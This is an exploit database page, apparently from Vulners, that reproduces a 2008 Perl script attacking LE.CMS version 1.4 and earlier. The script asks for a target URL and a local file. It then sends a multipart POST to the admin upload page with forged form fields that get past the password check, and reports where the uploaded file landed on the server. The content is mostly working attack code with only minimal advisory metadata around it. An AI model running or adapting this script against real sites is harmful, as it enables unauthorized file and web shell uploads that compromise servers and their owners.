LE.CMS <= 1.4 Remote Arbitrary File Upload Exploit

🗓️ 22 Jun 2008 00:00:00Reported by RootType
LE.CMS <= 1.4 Remote Arbitrary File Upload Exploi

                                                #!/usr/bin/perl

use&nbsp;strict;
use&nbsp;warnings;
use&nbsp;LWP::UserAgent;
use&nbsp;HTTP::Request::Common;

print&nbsp;&lt;&lt;INTRO;
-&nbsp;-&nbsp;-&nbsp;-&nbsp;-&nbsp;-&nbsp;-&nbsp;-&nbsp;-&nbsp;-&nbsp;-&nbsp;-&nbsp;-&nbsp;-&nbsp;-&nbsp;-&nbsp;-&nbsp;-&nbsp;-&nbsp;-&nbsp;-&nbsp;-&nbsp;-&nbsp;-&nbsp;-&nbsp;-&nbsp;-&nbsp;-
-&nbsp;LE.CMS&nbsp;&lt;=&nbsp;1.4&nbsp;Remote&nbsp;Arbitrary&nbsp;File&nbsp;Upload&nbsp;Exploit&nbsp;&nbsp;-
-&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;-
&nbsp;-&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;-&nbsp;
&nbsp;&nbsp;-&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Discovered&nbsp;&amp;&amp;&nbsp;Coded&nbsp;By:&nbsp;t0pP8uZz&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;-&nbsp;&nbsp;&nbsp;&nbsp;
&nbsp;&nbsp;&nbsp;-&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Discovered&nbsp;On:&nbsp;19&nbsp;JUNE&nbsp;2008&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;-
&nbsp;&nbsp;&nbsp;-&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;-
&nbsp;&nbsp;-&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Script&nbsp;Download:&nbsp;http://worldlevel.com&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;-
&nbsp;-&nbsp;&nbsp;&nbsp;milw0rm.com,&nbsp;h4ck-y0u.org,&nbsp;CiperCrew,&nbsp;offsec&nbsp;&nbsp;&nbsp;&nbsp;-
&nbsp;-&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;-
-&nbsp;LE.CMS&nbsp;suffers&nbsp;from&nbsp;a&nbsp;arbitrary&nbsp;file&nbsp;upload&nbsp;vuln..&nbsp;&nbsp;-
-&nbsp;..&nbsp;this&nbsp;exploit&nbsp;will&nbsp;upload&nbsp;any&nbsp;file&nbsp;to&nbsp;the&nbsp;server&nbsp;&nbsp;-
-&nbsp;-&nbsp;-&nbsp;-&nbsp;-&nbsp;-&nbsp;-&nbsp;-&nbsp;-&nbsp;-&nbsp;-&nbsp;-&nbsp;-&nbsp;-&nbsp;-&nbsp;-&nbsp;-&nbsp;-&nbsp;-&nbsp;-&nbsp;-&nbsp;-&nbsp;-&nbsp;-&nbsp;-&nbsp;-&nbsp;-&nbsp;-
INTRO

print&nbsp;&quot;\nEnter&nbsp;Target&nbsp;URL(ie:&nbsp;http://site.com):&nbsp;&quot;;
&nbsp;&nbsp;&nbsp;&nbsp;chomp(my&nbsp;$host=&lt;STDIN&gt;);
&nbsp;&nbsp;&nbsp;&nbsp;
print&nbsp;&quot;\nEnter&nbsp;Local&nbsp;File&nbsp;Path&nbsp;To&nbsp;Upload(ie:&nbsp;C:\\file.txt):&nbsp;&quot;;
&nbsp;&nbsp;&nbsp;&nbsp;chomp(my&nbsp;$file=&lt;STDIN&gt;);

my&nbsp;$ext&nbsp;&nbsp;&nbsp;=&nbsp;substr&nbsp;$file,&nbsp;rindex&nbsp;$file,&nbsp;'.';
my&nbsp;$fname&nbsp;=&nbsp;int&nbsp;rand&nbsp;9999;
my&nbsp;$ua&nbsp;&nbsp;&nbsp;&nbsp;=&nbsp;LWP::UserAgent-&gt;new(&nbsp;agent&nbsp;=&gt;&nbsp;'Mozilla/4.0&nbsp;(compatible;&nbsp;MSIE&nbsp;7.0;&nbsp;Windows&nbsp;NT&nbsp;5.1)',&nbsp;cookie_jar&nbsp;=&gt;&nbsp;{}&nbsp;);

my&nbsp;$re&nbsp;=&nbsp;$ua-&gt;request(POST&nbsp;$host&nbsp;.&nbsp;'/cms/admin/upload.php',
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Content_Type&nbsp;=&gt;&nbsp;&nbsp;&nbsp;'form-data',
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Content&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;=&gt;&nbsp;[&nbsp;'submit0'&nbsp;&nbsp;=&gt;&nbsp;'authed',&nbsp;#&nbsp;if&nbsp;script&nbsp;reads&nbsp;this&nbsp;as&nbsp;TRUE&nbsp;then&nbsp;the&nbsp;script&nbsp;thinks&nbsp;we&nbsp;have&nbsp;already&nbsp;authenticated&nbsp;the&nbsp;username/password,&nbsp;only&nbsp;0&nbsp;or&nbsp;undef&nbsp;is&nbsp;false
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;'submit'&nbsp;&nbsp;&nbsp;=&gt;&nbsp;1,&nbsp;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;'password'&nbsp;=&gt;&nbsp;1,&nbsp;#&nbsp;as&nbsp;long&nbsp;as&nbsp;this&nbsp;is&nbsp;true&nbsp;we&nbsp;should&nbsp;be&nbsp;able&nbsp;to&nbsp;upload
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;'filename'&nbsp;=&gt;&nbsp;$fname,
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;'upload'&nbsp;&nbsp;&nbsp;=&gt;&nbsp;[&nbsp;$file&nbsp;]&nbsp;]&nbsp;);

die&nbsp;&quot;Exploit&nbsp;Failed,&nbsp;HTTP&nbsp;Request&nbsp;Failed!&quot;&nbsp;unless&nbsp;$re-&gt;is_success;

print&nbsp;&quot;File&nbsp;Uploaded!&nbsp;Location:&nbsp;&quot;&nbsp;.&nbsp;$host&nbsp;.&nbsp;&quot;/cms/images/&quot;&nbsp;.&nbsp;$fname&nbsp;.&nbsp;$ext&nbsp;.&nbsp;&quot;\n&quot;;
exit;
22 Jun 2008 00:00Current
7.1High risk
Vulners AI Score7.1
LE.CMS &lt;= 1.4 Remote Arbitrary File Upload Exploit

LE.CMS <= 1.4 Remote Arbitrary File Upload Exploit
